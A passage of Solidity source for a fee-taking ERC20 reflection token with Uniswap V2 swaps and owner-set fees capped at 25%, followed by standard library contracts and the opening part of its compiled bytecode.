_maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint256 _multiplier); event FeeRateUpdated(uint256 _rate); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor( address payable treasuryWalletAddress, address payable marketingWaletAddress, address payable devWallet ) public { w1 = treasuryWalletAddress; w2 = marketingWaletAddress; w3 = devWallet; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[w1] = true; _isExcludedFromFee[w2] = true; _isExcludedFromFee[w3] = true; emit Transfer(address(0), _msgSender(), _tTotal); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapRouter = _uniswapV2Router; _approve(address(this), address(uniswapRouter), _tTotal); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); IERC20(uniswapPair).approve(address(uniswapRouter), type(uint256).max); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, 'ERC20: transfer amount exceeds allowance') ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal, 'Amount must be less than total reflections'); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function setCanSwap(bool onoff) external onlyOwner { canSwap = onoff; } function setTradingEnabled() external onlyOwner { tradingEnabled = true; } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), 'ERC20: approve from the zero address'); require(spender != address(0), 'ERC20: approve to the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), 'ERC20: transfer from the zero address'); require(to != address(0), 'ERC20: transfer to the zero address'); require(amount > 0, 'Transfer amount must be greater than zero'); if (!tradingEnabled) { require(_isExcludedFromFee[from] || _isExcludedFromFee[to] || _isExcludedFromFee[tx.origin], 'Trading is not live yet'); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapPair && tradingEnabled && canSwap) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(uniswapPair).div(100)) { swapTokensForEth(contractTokenBalance); } } uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } if (from != uniswapPair && to != uniswapPair) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); if (takeFee && from == uniswapPair) _teamFee = _previousteamFee; if (takeFee && to == uniswapPair) _taxFee = _previousTaxFee; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapRouter.WETH(); _approve(address(this), address(uniswapRouter), tokenAmount); uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { w1.transfer(amount.div(10).mul(4)); w2.transfer(amount.div(10).mul(5)); w3.transfer(amount.div(10).mul(1)); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function setTreasuryWallet(address payable _w1) external onlyOwner { w1 = _w1; _isExcludedFromFee[w1] = true; } function setMFCWallet(address payable _w2) external onlyOwner { w2 = _w2; _isExcludedFromFee[w2] = true; } function excludeFromFee(address payable ad) external onlyOwner { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner { _isExcludedFromFee[ad] = false; } function setTeamFee(uint256 team) external onlyOwner { require(team <= 25, 'Team fee must be less than 25%'); _teamFee = team; } function setTaxFee(uint256 tax) external onlyOwner { require(tax <= 25, 'Tax fee must be less than 25%'); _taxFee = tax; } function manualSwap() external { require(_msgSender() == w1 || _msgSender() == w2 || _msgSender() == w3, 'Not authorized'); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == w1 || _msgSender() == w2 || _msgSender() == w3, 'Not authorized'); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, 'Address: insufficient balance'); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(''); require(success, 'Address: unable to send value, recipient may have reverted'); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, 'Address: low-level call failed'); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, 'Address: low-level call with value failed'); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, 'Address: insufficient balance for call'); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), 'Address: call to non-contract'); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import './Context.sol'; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, 'SafeMath: addition overflow'); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, 'SafeMath: subtraction overflow'); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, 'SafeMath: multiplication overflow'); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, 'SafeMath: division by zero'); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, 'SafeMath: modulo by zero'); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Pair { function sync() external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; abstract contract ReentrancyGuard { uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() public { _status = _NOT_ENTERED; } modifier nonReentrant() { require(_status != _ENTERED, 'ReentrancyGuard: reentrant call'); _status = _ENTERED; _; _status = _NOT_ENTERED; } modifier isHuman() { require(tx.origin == msg.sender, 'sorry humans only'); _; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } }
0x6080604052600436106101445760003560e01c806395d89b41116100b6578063dd62ed3e1161006f578063dd62ed3e146104a5578063e156afd5146104e0578063e6ec64ec146104f5578063ec556ad01461051f578063f2fde38b1461054b578063f42938901461057e5761014b565b806395d89b41146103b2578063a8602fea146103c7578063a9059cbb146103fa578063c4081a4c14610433578063c816841b1461045d578063cf0848f7146104725761014b565b8063313ce56711610108578063313ce567146102c6578063437823ec146102f157806351bc3c851461032457806370a0823114610339578063715018a61461036c5780638da5cb5b146103815761014b565b8063010d009b1461015057806306fdde0314610185578063095ea7b31461020f57806318160ddd1461025c57806323b872dd146102835761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b506101836004803603602081101561017357600080fd5b50356001600160a01b0316610593565b005b34801561019157600080fd5b5061019a610625565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d45781810151838201526020016101bc565b50505050905090810190601f1680156102015780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021b57600080fd5b506102486004803603604081101561023257600080fd5b506001600160a01b038135169060200135610649565b604080519115158252519081900360200190f35b34801561026857600080fd5b50610271610667565b60408051918252519081900360200190f35b34801561028f57600080fd5b50610248600480360360608110156102a657600080fd5b506001600160a01b03813581169160208101359091169060400135610674565b3480156102d257600080fd5b506102db6106fb565b6040805160ff9092168252519081900360200190f35b3480156102fd57600080fd5b506101836004803603602081101561031457600080fd5b50356001600160a01b0316610700565b34801561033057600080fd5b5061018361077c565b34801561034557600080fd5b506102716004803603602081101561035c57600080fd5b50356001600160a01b031661083f565b34801561037857600080fd5b50610183610861565b34801561038d57600080fd5b50610396610903565b604080516001600160a01b039092168252519081900360200190f35b3480156103be57600080fd5b5061019a610912565b3480156103d357600080fd5b50610183600480360360208110156103ea57600080fd5b50356001600160a01b031661092e565b34801561040657600080fd5b506102486004803603604081101561041d57600080fd5b506001600160a01b0381351690602001356109c0565b34801561043f57600080fd5b506101836004803603602081101561045657600080fd5b50356109d4565b34801561046957600080fd5b50610396610a87565b34801561047e57600080fd5b506101836004803603602081101561049557600080fd5b50356001600160a01b0316610a96565b3480156104b157600080fd5b50610271600480360360408110156104c857600080fd5b506001600160a01b0381358116916020013516610b0f565b3480156104ec57600080fd5b50610183610b3a565b34801561050157600080fd5b506101836004803603602081101561051857600080fd5b5035610ba7565b34801561052b57600080fd5b506101836004803603602081101561054257600080fd5b50351515610c5a565b34801561055757600080fd5b506101836004803603602081101561056e57600080fd5b50356001600160a01b0316610cd0565b34801561058a57600080fd5b50610183610dc8565b61059b610e7c565b6000546001600160a01b039081169116146105eb576040805162461bcd60e51b81526020600482018190526024820152600080516020611bd1833981519152604482015290519081900360640190fd5b600c80546001600160a01b0319166001600160a01b039283161790819055166000908152600460205260409020805460ff19166001179055565b60408051808201909152600a81526921b0ba2237b3b2903b1960b11b602082015290565b600061065d610656610e7c565b8484610e80565b5060015b92915050565b683635c9adc5dea0000090565b6000610681848484610f6c565b6106f18461068d610e7c565b6106ec85604051806060016040528060288152602001611ba9602891396001600160a01b038a166000908152600360205260408120906106cb610e7c565b6001600160a01b03168152602081019190915260400160002054919061127e565b610e80565b5060019392505050565b600990565b610708610e7c565b6000546001600160a01b03908116911614610758576040805162461bcd60e51b81526020600482018190526024820152600080516020611bd1833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600b546001600160a01b0316610790610e7c565b6001600160a01b031614806107bf5750600c546001600160a01b03166107b4610e7c565b6001600160a01b0316145b806107e45750600d546001600160a01b03166107d9610e7c565b6001600160a01b0316145b610826576040805162461bcd60e51b815260206004820152600e60248201526d139bdd08185d5d1a1bdc9a5e995960921b604482015290519081900360640190fd5b60006108313061083f565b905061083c81611315565b50565b6001600160a01b038116600090815260016020526040812054610661906114e3565b610869610e7c565b6000546001600160a01b039081169116146108b9576040805162461bcd60e51b81526020600482018190526024820152600080516020611bd1833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60408051808201909152600281526110d160f21b602082015290565b610936610e7c565b6000546001600160a01b03908116911614610986576040805162461bcd60e51b81526020600482018190526024820152600080516020611bd1833981519152604482015290519081900360640190fd5b600b80546001600160a01b0319166001600160a01b039283161790819055166000908152600460205260409020805460ff19166001179055565b600061065d6109cd610e7c565b8484610f6c565b6109dc610e7c565b6000546001600160a01b03908116911614610a2c576040805162461bcd60e51b81526020600482018190526024820152600080516020611bd1833981519152604482015290519081900360640190fd5b6019811115610a82576040805162461bcd60e51b815260206004820152601d60248201527f54617820666565206d757374206265206c657373207468616e20323525000000604482015290519081900360640190fd5b600755565b600f546001600160a01b031681565b610a9e610e7c565b6000546001600160a01b03908116911614610aee576040805162461bcd60e51b81526020600482018190526024820152600080516020611bd1833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600460205260409020805460ff19169055565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b610b42610e7c565b6000546001600160a01b03908116911614610b92576040805162461bcd60e51b81526020600482018190526024820152600080516020611bd1833981519152604482015290519081900360640190fd5b600f805460ff60a01b1916600160a01b179055565b610baf610e7c565b6000546001600160a01b03908116911614610bff576040805162461bcd60e51b81526020600482018190526024820152600080516020611bd1833981519152604482015290519081900360640190fd5b6019811115610c55576040805162461bcd60e51b815260206004820152601e60248201527f5465616d20666565206d757374206265206c657373207468616e203235250000604482015290519081900360640190fd5b600855565b610c62610e7c565b6000546001600160a01b03908116911614610cb2576040805162461bcd60e51b81526020600482018190526024820152600080516020611bd1833981519152604482015290519081900360640190fd5b600f8054911515600160a81b0260ff60a81b19909216919091179055565b610cd8610e7c565b6000546001600160a01b03908116911614610d28576040805162461bcd60e51b81526020600482018190526024820152600080516020611bd1833981519152604482015290519081900360640190fd5b6001600160a01b038116610d6d5760405162461bcd60e51b8152600401808060200182810382526026815260200180611b406026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600b546001600160a01b0316610ddc610e7c565b6001600160a01b03161480610e0b5750600c546001600160a01b0316610e00610e7c565b6001600160a01b0316145b80610e305750600d546001600160a01b0316610e25610e7c565b6001600160a01b0316145b610e72576040805162461bcd60e51b815260206004820152600e60248201526d139bdd08185d5d1a1bdc9a5e995960921b604482015290519081900360640190fd5b4761083c81611543565b3390565b6001600160a01b038316610ec55760405162461bcd60e51b8152600401808060200182810382526024815260200180611c3f6024913960400191505060405180910390fd5b6001600160a01b038216610f0a5760405162461bcd60e51b8152600401808060200182810382526022815260200180611b666022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610fb15760405162461bcd60e51b8152600401808060200182810382526025815260200180611c1a6025913960400191505060405180910390fd5b6001600160a01b038216610ff65760405162461bcd60e51b8152600401808060200182810382526023815260200180611af36023913960400191505060405180910390fd5b600081116110355760405162461bcd60e51b8152600401808060200182810382526029815260200180611bf16029913960400191505060405180910390fd5b600f54600160a01b900460ff166110f0576001600160a01b03831660009081526004602052604090205460ff168061108557506001600160a01b03821660009081526004602052604090205460ff165b8061109f57503260009081526004602052604090205460ff165b6110f0576040805162461bcd60e51b815260206004820152601760248201527f54726164696e67206973206e6f74206c69766520796574000000000000000000604482015290519081900360640190fd5b60006110fb3061083f565b600f54909150600160b01b900460ff161580156111265750600f546001600160a01b03858116911614155b801561113b5750600f54600160a01b900460ff165b80156111505750600f54600160a81b900460ff165b1561119f57801561118d57600f5461117d90606490611177906001600160a01b031661083f565b90611624565b81111561118d5761118d81611315565b47801561119d5761119d47611543565b505b6001600160a01b03841660009081526004602052604090205460019060ff16806111e157506001600160a01b03841660009081526004602052604090205460ff165b156111ea575060005b600f546001600160a01b038681169116148015906112165750600f546001600160a01b03858116911614155b1561121f575060005b61122b85858584611666565b8080156112455750600f546001600160a01b038681169116145b1561125157600a546008555b80801561126b5750600f546001600160a01b038581169116145b15611277576009546007555b5050505050565b6000818484111561130d5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156112d25781810151838201526020016112ba565b50505050905090810190601f1680156112ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600f805460ff60b01b1916600160b01b1790556040805160028082526060808301845292602083019080368337019050509050308160008151811061135657fe5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113aa57600080fd5b505afa1580156113be573d6000803e3d6000fd5b505050506040513d60208110156113d457600080fd5b50518151829060019081106113e557fe5b6001600160a01b039283166020918202929092010152600e5461140b9130911684610e80565b600e5460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b83811015611491578181015183820152602001611479565b505050509050019650505050505050600060405180830381600087803b1580156114ba57600080fd5b505af11580156114ce573d6000803e3d6000fd5b5050600f805460ff60b01b1916905550505050565b60006005548211156115265760405162461bcd60e51b815260040180806020018281038252602a815260200180611b16602a913960400191505060405180910390fd5b6000611530611691565b905061153c8382611624565b9392505050565b600b546001600160a01b03166108fc611568600461156285600a611624565b906116b4565b6040518115909202916000818181858888f19350505050158015611590573d6000803e3d6000fd5b50600c546001600160a01b03166108fc6115b0600561156285600a611624565b6040518115909202916000818181858888f193505050501580156115d8573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6115f8600161156285600a611624565b6040518115909202916000818181858888f19350505050158015611620573d6000803e3d6000fd5b5050565b600061153c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061170d565b8061167357611673611772565b61167e8484846117a4565b8061168b5761168